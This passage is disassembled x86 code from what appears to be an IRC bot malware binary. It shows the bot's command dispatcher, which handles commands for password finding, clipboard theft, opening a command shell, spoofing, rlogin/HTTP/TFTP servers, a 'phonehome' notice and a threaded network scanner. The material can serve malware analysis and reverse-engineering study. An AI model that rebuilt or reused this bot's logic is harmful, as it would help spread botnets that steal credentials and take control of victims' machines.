		pop	ecx
		jnz	short loc_403190
		call	sub_418884
		test	eax, eax
		mov	eax, offset unk_42C654
		jnz	short loc_403162
		mov	eax, offset unk_42C630


loc_403162:				; CODE XREF: sub_401ACD+168Ej
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 1Ch
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_403190:				; CODE XREF: sub_401ACD+1680j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aT	; "t"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aAl	; "al"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aLog	; "log"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aLg	; "lg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aClg	; "clg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aNi	; "ni"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aSi	; "si"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aPs	; "ps"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aUp	; "up"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aDll	; "dll"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033B1
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C57C
		push	offset dword_42C570
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4033B1:				; CODE XREF: sub_401ACD+18CAj
		push	edi
		push	offset dword_42C56C
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034C7
		cmp	[ebp+var_8], ebx
		jnz	short loc_4033E5
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C558
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4033E5:				; CODE XREF: sub_401ACD+18FCj
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_4033F2
; ---------------------------------------------------------------------------


loc_4033EF:				; CODE XREF: sub_401ACD+196Cj
		mov	eax, [ebp+arg_18]


loc_4033F2:				; CODE XREF: sub_401ACD+1920j
		cmp	[eax], bl
		jz	short loc_4033F9
		inc	eax
		jmp	short loc_4033FE
; ---------------------------------------------------------------------------


loc_4033F9:				; CODE XREF: sub_401ACD+1927j
		mov	eax, offset aEmpty ; "<Empty>"


loc_4033FE:				; CODE XREF: sub_401ACD+192Aj
		push	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_4033EF
		push	offset unk_42C528
		call	sub_415D38
		pop	ecx


loc_403446:				; CODE XREF: sub_401ACD+1BFDj
					; sub_401ACD+2EFAj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aSpoof	; "spoof"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AAB
		push	offset aOff	; "off"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4049D9
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4F4
		push	eax
		mov	dword_4CF190, ebx
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40349D:				; CODE XREF: sub_401ACD+2FD9j
		cmp	[ebp+var_8], ebx
		jnz	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869


loc_4034BF:				; CODE XREF: sub_401ACD+7032j
		add	esp, 14h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4034C7:				; CODE XREF: sub_401ACD+18F3j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aGc	; "gc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aCip	; "cip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aHttp	; "http"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aShitycrash ; "shitycrash"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403653
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C44C
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403632
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403632:				; CODE XREF: sub_401ACD+1B47j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		mov	[esp+10h+var_10], offset aShitycrash ; "shitycrash"
		push	[ebp+esi+var_7C]
		call	sub_41CA50
		jmp	loc_4097D0
; ---------------------------------------------------------------------------


loc_403653:				; CODE XREF: sub_401ACD+1B2Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aAs	; "as"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036AA
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI	Are You	T"...
		push	[ebp+arg_4]
		call	sub_409823


loc_4036A2:				; CODE XREF: sub_401ACD+47Bj
		add	esp, 0Ch
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4036AA:				; CODE XREF: sub_401ACD+1BBFj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4036D0
		push	edi
		push	offset aFp	; "fp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403446


loc_4036D0:				; CODE XREF: sub_401ACD+1BECj
		push	[ebp+var_88]
		lea	eax, [ebp+var_FEC]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F68], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F64], eax
		push	offset unk_42C3CC
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_F6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF0]
		push	ebx
		push	eax
		push	offset sub_4172C1
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_F6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_403778


loc_403762:				; CODE XREF: sub_401ACD+1CA9j
		cmp	[ebp+var_F60], ebx
		jnz	loc_4082DE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_403762
; ---------------------------------------------------------------------------


loc_403778:				; CODE XREF: sub_401ACD+1C93j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C390
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_403789:				; CODE XREF: sub_401ACD+1B95j
					; sub_401ACD+1BAAj
		mov	al, byte_4319E2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4319E2
		jz	loc_401F75
		mov	ecx, edx


loc_4037A0:				; CODE XREF: sub_401ACD+1CDBj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037A0
		cmp	al, bl
		jz	loc_401F75
		mov	[ebp+arg_18], edx


loc_4037B5:				; CODE XREF: sub_401ACD+1FAEj
		push	0Bh
		call	sub_40B602
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 320h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_403808
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C354
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_403A72
; ---------------------------------------------------------------------------


loc_403808:				; CODE XREF: sub_401ACD+1D06j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431800, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_403875
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_431800
		lea	edi, [eax-0Ah]


loc_40383F:				; CODE XREF: sub_401ACD+1D8Aj
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40385B
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_40383F
		jmp	short loc_403875
; ---------------------------------------------------------------------------


loc_40385B:				; CODE XREF: sub_401ACD+1D80j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431800[ecx]
		mov	[ebp+var_74C], ecx


loc_403875:				; CODE XREF: sub_401ACD+1D65j
					; sub_401ACD+1D8Cj
		cmp	[ebp+var_74C], ebx
		jz	loc_403A86
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], esi
		push	[ebp+arg_4]
		call	dword_4CB988	; getsockname
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BFD0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41C820
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40391D


loc_4038FB:				; CODE XREF: sub_401ACD+1E4Ej
		cmp	eax, ebx
		jz	short loc_40391D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_4038FB


loc_40391D:				; CODE XREF: sub_401ACD+1E2Cj
					; sub_401ACD+1E30j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h
		push	eax
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	sub_41C360
		push	offset byte_43DB98
		push	offset aF	; "#f"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_40398A
		push	offset aF	; "#f"
		lea	eax, [ebp+var_7D0]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403990
; ---------------------------------------------------------------------------


loc_40398A:				; CODE XREF: sub_401ACD+1EA0j
		mov	[ebp+var_7D0], bl


loc_403990:				; CODE XREF: sub_401ACD+1EBBj
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039A2
		mov	eax, offset aSequential	; "Sequential"


loc_4039A2:				; CODE XREF: sub_401ACD+1ECEj
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C2D4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40C600
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_403A2C


loc_403A1A:				; CODE XREF: sub_401ACD+1F5Dj
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A47
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_403A1A
; ---------------------------------------------------------------------------


loc_403A2C:				; CODE XREF: sub_401ACD+1F4Bj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C298
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403A47:				; CODE XREF: sub_401ACD+1F53j
		cmp	edi, ebx
		jnz	short loc_403A65
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403A65:				; CODE XREF: sub_401ACD+1F7Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx


loc_403A72:				; CODE XREF: sub_401ACD+1D36j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4037B5
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_403A86:				; CODE XREF: sub_401ACD+1DAEj
		push	offset unk_42C260
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403A90:				; CODE XREF: sub_401ACD+1B05j
					; sub_401ACD+1B1Aj
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403AA6
		push	offset unk_42C240
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403AA6:				; CODE XREF: sub_401ACD+1FCDj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403AC9
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403ADD
; ---------------------------------------------------------------------------


loc_403AC9:				; CODE XREF: sub_401ACD+1FE2j
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		push	ebx
		call	dword_427078	; GetModuleFileNameA


loc_403ADD:				; CODE XREF: sub_401ACD+1FFAj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403AED
		mov	esi, offset byte_429110


loc_403AED:				; CODE XREF: sub_401ACD+2019j
		push	esi
		lea	eax, [ebp+var_2C50]
		push	edi
		push	eax
		call	sub_41C360
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B44],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B48],	ebx
		mov	[ebp+var_2D58],	eax
		lea	eax, [ebp+var_2B40]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2AC0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2ABC],	eax
		lea	eax, [ebp+var_2D54]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B44]
		push	offset unk_42C20C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2B4C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D58]
		push	ebx
		push	eax
		push	offset sub_412197
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_2B4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_403BB9


loc_403BA3:				; CODE XREF: sub_401ACD+20EAj
		cmp	[ebp+var_2AB8],	ebx
		jnz	loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_403BA3
; ---------------------------------------------------------------------------


loc_403BB9:				; CODE XREF: sub_401ACD+20D4j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C1D0
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_403BCA:				; CODE XREF: sub_401ACD+1ADBj
					; sub_401ACD+1AF0j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403BEE
; ---------------------------------------------------------------------------


loc_403BE9:				; CODE XREF: sub_401ACD+2106j
					; sub_401ACD+2111j
		mov	eax, dword_42907C


loc_403BEE:				; CODE XREF: sub_401ACD+211Aj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36CC],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B8],	eax
		jz	short loc_403C21
		lea	eax, [ebp+var_37D0]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_403C4C
; ---------------------------------------------------------------------------


loc_403C21:				; CODE XREF: sub_401ACD+2141j
		lea	eax, [ebp+var_49F4]
		push	104h
		push	eax
		call	dword_42707C	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_49F4]
		push	eax
		call	sub_41C3B1
		add	esp, 14h


loc_403C4C:				; CODE XREF: sub_401ACD+2152j
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+eax+var_37D1], 5Ch
		pop	ecx
		jnz	short loc_403C77
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+eax+var_37D1], bl


loc_403C77:				; CODE XREF: sub_401ACD+2194j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A58]
		mov	[ebp+var_3A5C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36BC],	eax
		lea	eax, [ebp+var_37D0]
		mov	[ebp+var_36C0],	edi
		push	eax
		push	[ebp+var_36CC]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C194
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_36C4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A5C]
		push	ebx
		push	eax
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_36C4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_403D2B


loc_403D19:				; CODE XREF: sub_401ACD+225Cj
		cmp	[ebp+var_36B0],	ebx
		jnz	short loc_403D46
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_403D19
; ---------------------------------------------------------------------------


loc_403D2B:				; CODE XREF: sub_401ACD+224Aj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C158


loc_403D37:				; CODE XREF: sub_401ACD+23BFj
					; sub_401ACD+4BDCj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403D46:				; CODE XREF: sub_401ACD+2252j
					; sub_401ACD+23A3j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	edi
		jmp	loc_4071A3
; ---------------------------------------------------------------------------


loc_403D56:				; CODE XREF: sub_401ACD+1AB1j
					; sub_401ACD+1AC6j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403D7A
; ---------------------------------------------------------------------------


loc_403D75:				; CODE XREF: sub_401ACD+2292j
					; sub_401ACD+229Dj
		mov	eax, dword_429080


loc_403D7A:				; CODE XREF: sub_401ACD+22A6j
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403D91
		lea	eax, [ebp+var_C4]


loc_403D91:				; CODE XREF: sub_401ACD+22BCj
		push	eax
		lea	eax, [ebp+var_1968]
		push	40h
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403DB3
		mov	esi, offset byte_43DB98


loc_403DB3:				; CODE XREF: sub_401ACD+22DFj
		push	esi
		lea	eax, [ebp+var_1928]
		push	100h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_19E8]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1814],	eax
		lea	eax, [ebp+var_1968]
		push	eax
		mov	[ebp+var_19EC],	esi
		push	[ebp+var_1828]
		mov	[ebp+var_1818],	edi
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C11C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1824],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19EC]
		push	ebx
		push	eax
		push	offset sub_41144E
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_1824]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_403E80


loc_403E6A:				; CODE XREF: sub_401ACD+23B1j
		cmp	[ebp+var_1810],	ebx
		jnz	loc_403D46
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_403E6A
; ---------------------------------------------------------------------------


loc_403E80:				; CODE XREF: sub_401ACD+239Bj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C0E0
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_403E91:				; CODE XREF: sub_401ACD+1A87j
					; sub_401ACD+1A9Cj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EA4
		push	esi
		call	sub_41C159
		jmp	short loc_403EAB
; ---------------------------------------------------------------------------


loc_403EA4:				; CODE XREF: sub_401ACD+23CDj
		push	0Bh
		call	sub_40B621


loc_403EAB:				; CODE XREF: sub_401ACD+23D5j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BD1A
		jmp	loc_404376
; ---------------------------------------------------------------------------


loc_403ECB:				; CODE XREF: sub_401ACD+1A5Dj
					; sub_401ACD+1A72j
		mov	eax, dword_4CB900
		cmp	eax, ebx
		jz	short loc_403EE8
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_403EE1
		push	offset unk_42C0BC
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE1:				; CODE XREF: sub_401ACD+240Bj
		push	offset unk_42C090
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE8:				; CODE XREF: sub_401ACD+2405j
		push	offset unk_42C064


loc_403EED:				; CODE XREF: sub_401ACD+2412j
					; sub_401ACD+2419j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_406BFB
; ---------------------------------------------------------------------------


loc_403F03:				; CODE XREF: sub_401ACD+1A33j
					; sub_401ACD+1A48j
		call	sub_40A928
		test	eax, eax
		jz	short loc_403F13
		push	offset unk_42C040
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F13:				; CODE XREF: sub_401ACD+243Dj
		push	offset unk_42C014
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


